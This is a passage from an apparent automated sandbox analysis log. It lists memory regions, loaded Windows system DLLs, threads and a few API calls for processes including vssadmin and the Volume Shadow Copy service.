"\\Windows\\SysWOW64\\vssapi.dll" (normalized: "c:\\windows\\syswow64\\vssapi.dll") Region: id = 659 start_va = 0x430000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 660 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 661 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 662 start_va = 0xb0000 end_va = 0xcdfff monitored = 0 entry_point = 0xc158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 663 start_va = 0xb0000 end_va = 0xcdfff monitored = 0 entry_point = 0xc158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 664 start_va = 0x75830000 end_va = 0x7588ffff monitored = 0 entry_point = 0x7584158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 665 start_va = 0x756d0000 end_va = 0x7579bfff monitored = 0 entry_point = 0x756d168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 666 start_va = 0x630000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 667 start_va = 0x9e0000 end_va = 0x1ddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 668 start_va = 0x30000 end_va = 0x3cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vssadmin.exe.mui") Region: id = 669 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 670 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 671 start_va = 0x5e0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 672 start_va = 0x7f0000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 673 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 674 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 675 start_va = 0x757a0000 end_va = 0x75822fff monitored = 0 entry_point = 0x757a23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 676 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 677 start_va = 0x830000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 678 start_va = 0x950000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 679 start_va = 0x73aa0000 end_va = 0x73ab6fff monitored = 0 entry_point = 0x73aa3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 680 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 681 start_va = 0x1a0000 end_va = 0x1dbfff monitored = 0 entry_point = 0x1a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 682 start_va = 0x1a0000 end_va = 0x1dbfff monitored = 0 entry_point = 0x1a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 683 start_va = 0x1a0000 end_va = 0x1dbfff monitored = 0 entry_point = 0x1a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 684 start_va = 0x1a0000 end_va = 0x1dbfff monitored = 0 entry_point = 0x1a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 685 start_va = 0x1a0000 end_va = 0x1dbfff monitored = 0 entry_point = 0x1a128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 686 start_va = 0x73a60000 end_va = 0x73a9afff monitored = 0 entry_point = 0x73a6128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 687 start_va = 0x1de0000 end_va = 0x20aefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 691 start_va = 0x73f20000 end_va = 0x73f2dfff monitored = 0 entry_point = 0x73f21235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 692 start_va = 0x890000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 693 start_va = 0x21a0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 694 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 695 start_va = 0x260000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 696 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 697 start_va = 0x20c0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 698 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 781 start_va = 0x21e0000 end_va = 0x229ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 782 start_va = 0x2a0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 783 start_va = 0x1a0000 end_va = 0x1a7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vsstrace.dll.mui") Thread: id = 9 os_tid = 0xf18 Thread: id = 10 os_tid = 0xf1c Thread: id = 11 os_tid = 0xf20 Thread: id = 12 os_tid = 0xf24 Thread: id = 13 os_tid = 0xf28 Process: id = "4" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x3fc8c000" os_pid = "0xf2c" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005cb87" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 699 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 700 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 701 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 702 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 703 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 704 start_va = 0xc0000 end_va = 0xd0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vssvc.exe.mui" filename = "\\Windows\\System32\\en-US\\VSSVC.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\vssvc.exe.mui") Region: id = 705 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 706 start_va = 0xf0000 end_va = 0xfcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 707 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 708 start_va = 0x110000 end_va = 0x117fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 709 start_va = 0x120000 end_va = 0x120fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 710 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 711 start_va = 0x1c0000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 712 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 713 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 714 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 715 start_va = 0x4c0000 end_va = 0x647fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 716 start_va = 0x650000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 717 start_va = 0x7f0000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 718 start_va = 0x930000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 719 start_va = 0x9d0000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 720 start_va = 0xb40000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 721 start_va = 0xc30000 end_va = 0xcaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 722 start_va = 0xcb0000 end_va = 0xf7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 723 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 724 start_va = 0x77280000 end_va = 0x77379fff monitored = 0 entry_point = 0x7729a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 725 start_va = 0x77380000 end_va = 0x77528fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 726 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 727 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 728 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 729 start_va = 0xffcc0000 end_va = 0xffe4afff monitored = 0 entry_point = 0xffdf0804 region_type = mapped_file name = "vssvc.exe" filename = "\\Windows\\System32\\VSSVC.exe" (normalized: "c:\\windows\\system32\\vssvc.exe") Region: id = 730 start_va = 0x7fef4520000 end_va = 0x7fef45a4fff monitored = 0 entry_point = 0x7fef4522600 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 731 start_va = 0x7fef45b0000 end_va = 0x7fef45c3fff monitored = 0 entry_point = 0x7fef45bc210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 732 start_va = 0x7fef4750000 end_va = 0x7fef4763fff monitored = 0 entry_point = 0x7fef4751324 region_type = mapped_file name = "xolehlp.dll" filename = "\\Windows\\System32\\xolehlp.dll" (normalized: "c:\\windows\\system32\\xolehlp.dll") Region: id = 733 start_va = 0x7fef4de0000 end_va = 0x7fef4df8fff monitored = 0 entry_point = 0x7fef4de1104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 734 start_va = 0x7fef4e00000 end_va = 0x7fef4e4ffff monitored = 0 entry_point = 0x7fef4e01190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 735 start_va = 0x7fef54d0000 end_va = 0x7fef54e6fff monitored = 0 entry_point = 0x7fef54d1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 736 start_va = 0x7fef54f0000 end_va = 0x7fef569ffff monitored = 0 entry_point = 0x7fef54f1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 737 start_va = 0x7fef7c00000 end_va = 0x7fef7c08fff monitored = 0 entry_point = 0x7fef7c0325c region_type = mapped_file name = "fltlib.dll" filename = "\\Windows\\System32\\fltLib.dll" (normalized: "c:\\windows\\system32\\fltlib.dll") Region: id = 738 start_va = 0x7fef8300000 end_va = 0x7fef8309fff monitored = 0 entry_point = 0x7fef83042bc region_type = mapped_file name = "virtdisk.dll" filename = "\\Windows\\System32\\virtdisk.dll" (normalized: "c:\\windows\\system32\\virtdisk.dll") Region: id = 739 start_va = 0x7fefae00000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae16060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 740 start_va = 0x7fefafc0000 end_va = 0x7fefafd3fff monitored = 0 entry_point = 0x7fefafc16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 741 start_va = 0x7fefafe0000 end_va = 0x7fefaff4fff monitored = 0 entry_point = 0x7fefafe1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 742 start_va = 0x7fefb000000 end_va = 0x7fefb00bfff monitored = 0 entry_point = 0x7fefb0018a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 743 start_va = 0x7fefb010000 end_va = 0x7fefb025fff monitored = 0 entry_point = 0x7fefb0111a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 744 start_va = 0x7fefb700000 end_va = 0x7fefb71cfff monitored = 0 entry_point = 0x7fefb701ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 745 start_va = 0x7fefba90000 end_va = 0x7fefbaa8fff monitored = 0 entry_point = 0x7fefba911a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 746 start_va = 0x7fefc060000 end_va = 0x7fefc18bfff monitored = 0 entry_point = 0x7fefc0694bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 747 start_va = 0x7fefc490000 end_va = 0x7fefc49bfff monitored = 0 entry_point = 0x7fefc491064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 748 start_va = 0x7fefc8c0000 end_va = 0x7fefc906fff monitored = 0 entry_point = 0x7fefc8c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 749 start_va = 0x7fefcbc0000 end_va = 0x7fefcbd7fff monitored = 0 entry_point = 0x7fefcbc3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 750 start_va = 0x7fefcdb0000 end_va = 0x7fefcddefff monitored = 0 entry_point = 0x7fefcdb1064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 751 start_va = 0x7fefce60000 end_va = 0x7fefce73fff monitored = 0 entry_point = 0x7fefce64160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 752 start_va = 0x7fefd0c0000 end_va = 0x7fefd0e2fff monitored = 0 entry_point = 0x7fefd0c1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 753 start_va = 0x7fefd1c0000 end_va = 0x7fefd1cefff monitored = 0 entry_point = 0x7fefd1c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 754 start_va = 0x7fefd2b0000 end_va = 0x7fefd2c3fff monitored = 0 entry_point = 0x7fefd2b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 755 start_va = 0x7fefd530000 end_va = 0x7fefd59afff monitored = 0 entry_point = 0x7fefd5330e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 756 start_va = 0x7fefd5a0000 end_va = 0x7fefd5d5fff monitored = 0 entry_point = 0x7fefd5a1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 757 start_va = 0x7fefd680000 end_va = 0x7fefd699fff monitored = 0 entry_point = 0x7fefd681558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 758 start_va = 0x7fefd7b0000 end_va = 0x7fefd88afff monitored = 0 entry_point = 0x7fefd7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 759 start_va = 0x7fefd890000 end_va = 0x7fefd9bcfff monitored = 0 entry_point = 0x7fefd8ded50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 760 start_va = 0x7fefd9c0000 end_va = 0x7fefda26fff monitored = 0 entry_point = 0x7fefd9cb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 761 start_va = 0x7fefdc90000 end_va = 0x7fefdcbdfff monitored = 0 entry_point = 0x7fefdc91010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 762 start_va = 0x7fefdcc0000 end_va = 0x7fefddc8fff monitored = 0 entry_point = 0x7fefdcc1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 763 start_va = 0x7fefddd0000 end_va = 0x7fefdfd2fff monitored = 0 entry_point = 0x7fefddf3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 764 start_va = 0x7fefeef0000 end_va = 0x7fefeefdfff monitored = 0 entry_point = 0x7fefeef1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 765 start_va = 0x7fefef50000 end_va = 0x7fefef6efff monitored = 0 entry_point = 0x7fefef560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 766 start_va = 0x7fefeff0000 end_va = 0x7feff088fff monitored = 0 entry_point = 0x7fefeff1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 767 start_va = 0x7feff0b0000 end_va = 0x7feff286fff monitored = 0 entry_point = 0x7feff0b1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 768 start_va = 0x7feff3c0000 end_va = 0x7feff45efff monitored = 0 entry_point = 0x7feff3c25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 769 start_va = 0x7feff460000 end_va = 0x7feff4d0fff monitored = 0 entry_point = 0x7feff471e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 770 start_va = 0x7feff4e0000 end_va = 0x7feff5a8fff monitored = 0 entry_point = 0x7feff55a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 771 start_va = 0x7feff5b0000 end_va = 0x7feff686fff monitored = 0 entry_point = 0x7feff5b3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 772 start_va = 0x7feff6a0000 end_va = 0x7feff6a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 773 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 774 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 775 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 776 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 777 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 778 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 779 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 780 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 784 start_va = 0x7fef4740000 end_va = 0x7fef474bfff monitored = 1 entry_point = 0x7fef4741070 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Region: id = 785 start_va = 0xa50000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 786 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Thread: id = 14 os_tid = 0xf48 Thread: id = 15 os_tid = 0xf44 Thread: id = 16 os_tid = 0xf40 Thread: id = 17 os_tid = 0xf3c [0077.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbbd8b0 | out: lpSystemTimeAsFileTime=0xbbd8b0*(dwLowDateTime=0xf4369670, dwHighDateTime=0x1d77025)) [0077.131] GetCurrentProcessId () returned 0xf2c [0077.131] GetCurrentThreadId () returned 0xf3c [0077.131] GetTickCount () returned 0xe4ae8b [0077.131] QueryPerformanceCounter (in: lpPerformanceCount=0xbbd8b8 | out: lpPerformanceCount=0xbbd8b8*=1513708036952) returned 1 [0077.148] malloc (_Size=0x100) returned 0x4b8ee0 Thread: id = 18 os_tid = 0xf38 Thread: id = 19 os_tid = 0xf34 Thread: id = 20 os_tid = 0xf30 Thread: id = 21 os_tid = 0xf50